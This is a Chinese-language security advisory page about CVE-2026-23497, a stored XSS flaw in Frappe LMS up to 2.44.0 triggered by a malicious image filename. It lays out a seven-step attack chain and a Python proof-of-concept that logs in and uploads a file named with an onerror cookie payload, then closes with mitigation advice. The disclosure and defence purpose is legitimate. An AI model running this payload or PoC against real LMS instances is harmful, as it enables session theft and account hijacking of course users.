IPBUF安全漏洞报告
English
CVE-2026-23497 CVSS 5.4 中危

CVE-2026-23497 Frappe LMS存储型XSS漏洞

披露日期: 2026-01-14

漏洞信息

漏洞编号
CVE-2026-23497
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Frappe Learning Management System (LMS)

相关标签

存储型XSS跨站脚本攻击Frappe LMSCVE-2026-23497文件上传漏洞Web安全身份验证绕过

漏洞概述

CVE-2026-23497是Frappe Learning Management System(LMS)中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Frappe LMS 2.44.0及更早版本中。攻击者可以通过上传文件名包含恶意JavaScript代码的图像文件来触发此漏洞。当受害者在课程页面或职位页面查看相关内容时,嵌入在图像文件名中的恶意脚本代码将被执行,从而窃取用户会话Cookie、劫持用户账户或进行其他恶意操作。Frappe LMS是一个开源的学习管理系统,帮助用户结构化教学内容,广泛应用于在线教育平台和企业内部培训系统。由于该漏洞属于存储型XSS,恶意代码会被永久保存在服务器端,所有访问受影响页面的用户都可能受到攻击,具有较高的危害性和影响范围。漏洞的CVSS评分为5.4,属于中等严重程度,但考虑到攻击利用的便捷性和潜在影响范围,建议相关用户尽快采取修复措施。

技术细节

该存储型XSS漏洞的根本原因在于Frappe LMS在处理用户上传的图像文件时,未对文件名进行充分的输入验证和输出编码。当用户上传图像文件时,系统直接将文件名存储到数据库中,并在后续页面渲染时将其嵌入到HTML响应中而未进行适当的转义处理。攻击者可以利用文件上传功能,上传文件名类似于<img src=x onerror=alert(document.cookie)> malicious.jpg的恶意文件。当其他用户访问包含该图像引用的课程或职位页面时,浏览器会解析HTML并将文件名作为img标签的src属性值,由于src属性值无效,onerror事件处理器会被触发,从而执行嵌入的JavaScript代码。攻击者可以通过此方式窃取受害者的认证令牌、会话Cookie,甚至利用受害者权限在系统中执行进一步的攻击操作。该漏洞影响所有使用Frappe LMS 2.44.0及更早版本且允许用户上传文件的场景。修复版本为2.44.1,开发者已发布安全补丁。

攻击链分析

STEP 1
步骤1
攻击者登录Frappe LMS系统,获取有效用户账户权限
STEP 2
步骤2
攻击者构造恶意图像文件名,包含XSS payload如<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3
攻击者通过文件上传功能上传恶意文件到课程或职位页面
STEP 4
步骤4
服务器未对文件名进行输入验证和输出编码,直接存储到数据库
STEP 5
步骤5
受害用户访问包含恶意文件引用的课程或职位页面
STEP 6
步骤6
浏览器解析HTML时触发onerror事件,执行攻击者注入的JavaScript代码
STEP 7
步骤7
攻击者成功窃取受害者Cookie、会话令牌或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23497 PoC - Stored XSS in Frappe LMS # Description: Upload an image with malicious filename to execute JavaScript import requests import json # Configuration TARGET_URL = "https://vulnerable-lms-instance.com" LOGIN_URL = f"{TARGET_URL}/api/method/login" UPLOAD_URL = f"{TARGET_URL}/api/method/upload_file" # Malicious filename with XSS payload MALICIOUS_FILENAME = '<img src=x onerror=alert(document.cookie)>.jpg' # Authentication session = requests.Session() auth_data = { "usr": "[email protected]", "pwd": "password123" } # Step 1: Login to Frappe LMS login_response = session.post(LOGIN_URL, json=auth_data) print(f"Login status: {login_response.status_code}") # Step 2: Upload malicious file files = { "file": (MALICIOUS_FILENAME, b"fake image data", "image/jpeg") } upload_data = { "doctype": "Course", "docname": "target-course-id" } upload_response = session.post(UPLOAD_URL, files=files, data=upload_data) print(f"Upload status: {upload_response.status_code}") print(f"Response: {upload_response.text}") # Step 3: Visit the affected page as victim # When the course page renders, the XSS will be triggered print("\n[XSS Triggered] Victim visits the course page containing the malicious image filename") print("Malicious JavaScript will execute, stealing cookies/session data")

影响范围

Frappe LMS <= 2.44.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制文件上传功能权限,仅允许管理员上传文件;2) 在Web应用防火墙(WAF)层面添加XSS过滤规则;3) 实施严格的Content-Type验证;4) 定期审查服务器日志,检测异常上传行为;5) 考虑临时禁用课程内容编辑功能直到完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表